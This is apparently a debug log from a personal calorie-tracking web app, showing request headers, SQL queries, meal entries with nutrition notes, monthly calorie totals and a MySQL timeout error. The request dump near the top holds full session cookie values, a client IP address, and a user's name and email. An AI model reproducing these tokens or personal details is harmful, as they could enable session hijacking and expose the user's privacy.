      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T08:40:50.687Z server-connect:app Executing action step identify
2025-12-17T08:40:50.687Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:50.688Z server-connect:output identity: 1
2025-12-17T08:40:52.680Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T08:40:52.681Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T08:40:52.681Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T08:40:52.682Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T08:40:52.682Z server-connect:app Executing action step identify
2025-12-17T08:40:52.682Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:52.682Z server-connect:output identity: 1
2025-12-17T08:40:52.682Z server-connect:app Executing action step restrict
2025-12-17T08:40:52.682Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T08:40:52.682Z server-connect:app Executing action step identify
2025-12-17T08:40:52.683Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:52.683Z server-connect:output identity: 1
2025-12-17T08:40:52.683Z server-connect:app Executing action step restrict
2025-12-17T08:40:52.683Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T08:40:52.683Z server-connect:app Executing action step identify
2025-12-17T08:40:52.683Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:52.683Z server-connect:output identity: 1
2025-12-17T08:40:52.683Z server-connect:app Executing action step restrict
2025-12-17T08:40:52.683Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:52.683Z server-connect:output restrict: undefined
2025-12-17T08:40:52.684Z server-connect:app Executing action step single
2025-12-17T08:40:52.684Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T08:40:52.685Z server-connect:app Executing action step identify
2025-12-17T08:40:52.685Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:52.685Z server-connect:output identity: 1
2025-12-17T08:40:52.685Z server-connect:app Executing action step restrict
2025-12-17T08:40:52.685Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T08:40:52.686Z server-connect:output restrict: undefined
2025-12-17T08:40:52.686Z server-connect:app Executing action step single
2025-12-17T08:40:52.686Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T08:40:52.687Z server-connect:output restrict: undefined
2025-12-17T08:40:52.687Z server-connect:app Executing action step select
2025-12-17T08:40:52.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T08:40:52.687Z server-connect:output restrict: undefined
2025-12-17T08:40:52.687Z server-connect:app Executing action step single
2025-12-17T08:40:52.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T08:40:52.688Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T08:40:52.689Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day shows a decent effort towards fueling your workouts and recovery, with consistent hydration. However, the meal composition could be more balanced to better support muscle development and fat loss goals. Focusing on nutrient-dense foods and ensuring adequate protein intake throughout the day will be key for continued progress.',
    bad_points: [
      'The main meal appears to be heavily reliant on carbohydrates from roti.',
      'Protein intake might be suboptimal for muscle development goals.',
      'Limited variety in vegetables and protein sources.'
    ],
    good_points: [
      'Consistent hydration throughout the day.',
      'Inclusion of whey protein post-workout.',
      'Incorporation of nuts for healthy fats.'
    ],
    suggestions: [
      'Increase the portion of protein sources in your main meals.',
      'Incorporate more non-starchy vegetables to enhance fiber and nutrient intake.',
      'Consider adding a protein source to your evening meal.',
      'Ensure consistent spacing of meals to support energy levels and nutrient absorption.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T08:40:52.690Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T08:40:52.690Z server-connect:app Executing action step select
2025-12-17T08:40:52.690Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T08:40:52.694Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T08:40:52.696Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  }
]
2025-12-17T08:40:52.696Z server-connect:app Executing action step setvalue
2025-12-17T08:40:52.696Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T08:40:52.696Z server-connect:output var_total: 1036
2025-12-17T08:40:52.696Z server-connect:app Executing action step setvalue
2025-12-17T08:40:52.696Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T08:40:52.696Z server-connect:output var_consumed: 43
2025-12-17T08:40:52.696Z server-connect:app Executing action step setvalue
2025-12-17T08:40:52.696Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T08:40:52.696Z server-connect:output var_deficit: 1364
2025-12-17T08:40:52.696Z server-connect:app Executing action step custom
2025-12-17T08:40:52.696Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T08:40:52.698Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1036',
    surplus_or_deficit: '1364',
    status_flag: 2
  }
]
2025-12-17T08:40:53.257Z server-connect:app Executing action step identify
2025-12-17T08:40:53.257Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:53.257Z server-connect:output identity: 1
2025-12-17T08:42:30.782Z server-connect:app Executing action step identify
2025-12-17T08:42:30.782Z server-connect:app options: { provider: 'security' }
2025-12-17T08:42:30.782Z server-connect:output identity: 1
2025-12-17T08:42:33.223Z server-connect:app Executing action step identify
2025-12-17T08:42:33.223Z server-connect:app options: { provider: 'security' }
2025-12-17T08:42:33.223Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 08:47:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 08:47:41' as DATETIME)"
}
2025-12-17T08:59:20.242Z server-connect:app Executing action step identify
2025-12-17T08:59:20.242Z server-connect:app options: { provider: 'security' }
2025-12-17T08:59:20.242Z server-connect:output identity: 1
2025-12-17T08:59:22.852Z server-connect:app Executing action step identify
2025-12-17T08:59:22.852Z server-connect:app options: { provider: 'security' }
2025-12-17T08:59:22.852Z server-connect:output identity: 1
2025-12-17T09:04:30.235Z server-connect:app Executing action step identify
2025-12-17T09:04:30.235Z server-connect:app options: { provider: 'security' }
2025-12-17T09:04:30.235Z server-connect:output identity: 1
2025-12-17T09:04:33.120Z server-connect:app Executing action step identify
2025-12-17T09:04:33.120Z server-connect:app options: { provider: 'security' }
2025-12-17T09:04:33.120Z server-connect:output identity: 1
2025-12-17T09:10:47.821Z server-connect:app Executing action step identify
2025-12-17T09:10:47.821Z server-connect:app options: { provider: 'security' }
2025-12-17T09:10:47.821Z server-connect:output identity: 1
2025-12-17T09:10:50.060Z server-connect:app Executing action step identify
2025-12-17T09:10:50.061Z server-connect:app options: { provider: 'security' }
2025-12-17T09:10:50.061Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
